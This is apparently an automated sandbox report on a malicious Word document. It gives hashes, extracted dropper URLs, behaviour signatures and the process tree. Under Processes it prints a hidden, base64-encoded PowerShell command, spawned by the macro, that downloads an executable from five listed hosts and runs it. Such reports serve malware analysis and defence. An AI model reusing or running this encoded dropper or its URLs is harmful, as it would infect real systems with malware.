Analysis

  • max time kernel
    105s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 09:11

General

  • Target

    728d0def3186dc60e0b0ae365fe750930be37151b1a1e8165a25288026dd2b16.doc

  • Size

    146KB

  • MD5

    13a08d07bf9168fd0cda074234f02330

  • SHA1

    cafb64ca399c6df7581aa40d0b47a528f7a05b11

  • SHA256

    728d0def3186dc60e0b0ae365fe750930be37151b1a1e8165a25288026dd2b16

  • SHA512

    4eeedfa1929883375b339e230988cecfa41a86cd75b0c821aaf860c07a0dc58afbbe86b01d6d8f808515f0d4b660f54728f0493a126628ae011a0ee97afda6f3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://mireiatorrent.com/wp-includes/bj07f0biw9_0sj91efi-0/

exe.dropper

http://msograteful.com/codImwUJbt/

exe.dropper

http://escoder.net/cgi-bin/OmrZcAEqS/

exe.dropper

http://priyainfosys.com/products/FSrnZTOgOA/

exe.dropper

http://llona.net/bqi776dm_agvux-6816533798/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\728d0def3186dc60e0b0ae365fe750930be37151b1a1e8165a25288026dd2b16.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABUADgAXwA1ADMAMAAwAD0AJwBHADIAMgAyADYAMQA5ACcAOwAkAEwANAA1ADQAMwAwACAAPQAgACcAMQAwACcAOwAkAEkANAA2ADYAMAA0ADQAPQAnAEIAMwA1ADgAXwBfADYANgAnADsAJABPADkAMQA2ADEAMwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATAA0ADUANAAzADAAKwAnAC4AZQB4AGUAJwA7ACQAdwA1AF8AMwBfADAAMQA9ACcAagAzADcANAA3ADYAJwA7ACQAZgAzADgANQA0ADYAOQAwAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAGAAVwBFAGIAYABDAGwASQBlAE4AVAA7ACQAVQAxADYAMQA4ADYANQAyAD0AJwBoAHQAdABwADoALwAvAG0AaQByAGUAaQBhAHQAbwByAHIAZQBuAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAagAwADcAZgAwAGIAaQB3ADkAXwAwAHMAagA5ADEAZQBmAGkALQAwAC8AQABoAHQAdABwADoALwAvAG0AcwBvAGcAcgBhAHQAZQBmAHUAbAAuAGMAbwBtAC8AYwBvAGQASQBtAHcAVQBKAGIAdAAvAEAAaAB0AHQAcAA6AC8ALwBlAHMAYwBvAGQAZQByAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8ATwBtAHIAWgBjAEEARQBxAFMALwBAAGgAdAB0AHAAOgAvAC8AcAByAGkAeQBhAGkAbgBmAG8AcwB5AHMALgBjAG8AbQAvAHAAcgBvAGQAdQBjAHQAcwAvAEYAUwByAG4AWgBUAE8AZwBPAEEALwBAAGgAdAB0AHAAOgAvAC8AbABsAG8AbgBhAC4AbgBlAHQALwBiAHEAaQA3ADcANgBkAG0AXwBhAGcAdgB1AHgALQA2ADgAMQA2ADUAMwAzADcAOQA4AC8AJwAuAHMAcABsAGkAVAAoACcAQAAnACkAOwAkAHMAMwAyADEAXwA4AD0AJwBRADkANQAyADIAMQA3ADEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGYANgAyADcAMAAzADgAIABpAG4AIAAkAFUAMQA2ADEAOAA2ADUAMgApAHsAdAByAHkAewAkAGYAMwA4ADUANAA2ADkAMAAuAEQAbwB3AE4AbABPAEEARABmAEkATABFACgAJABmADYAMgA3ADAAMwA4ACwAIAAkAE8AOQAxADYAMQAzACkAOwAkAHoAMwAyADcANwA5ADIAMwA9ACcAWQAwADkAMwBfADgANwAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE8AOQAxADYAMQAzACkALgBMAGUAbgBHAHQAaAAgAC0AZwBlACAAMgA2ADEANwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAE8AOQAxADYAMQAzADsAJABBADgAMAA1ADgAMgA9ACcAdgA3ADgANgA5AF8AJwA7AGIAcgBlAGEAawA7ACQASQA0ADcANABfADgAMgA1AD0AJwB6ADMAMgA1ADYAMwA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwANQA4AF8ANQAyADEAPQAnAHUAXwAyADAAOAAzADYANAAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:524

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/524-67-0x0000000002460000-0x00000000024E0000-memory.dmp

      Filesize

      512KB

    • memory/524-65-0x0000000002460000-0x00000000024E0000-memory.dmp

      Filesize

      512KB

    • memory/524-68-0x0000000002460000-0x00000000024E0000-memory.dmp

      Filesize

      512KB

    • memory/524-62-0x000007FEF43A0000-0x000007FEF4DC3000-memory.dmp

      Filesize

      10.1MB

    • memory/524-63-0x000007FEF3840000-0x000007FEF439D000-memory.dmp

      Filesize

      11.4MB

    • memory/524-64-0x0000000002460000-0x00000000024E0000-memory.dmp

      Filesize

      512KB

    • memory/960-55-0x00000000704F1000-0x00000000704F3000-memory.dmp

      Filesize

      8KB

    • memory/960-59-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/960-57-0x0000000076571000-0x0000000076573000-memory.dmp

      Filesize

      8KB

    • memory/960-66-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/960-54-0x0000000072A71000-0x0000000072A74000-memory.dmp

      Filesize

      12KB

    • memory/960-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/960-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/960-70-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/1660-60-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

      Filesize

      8KB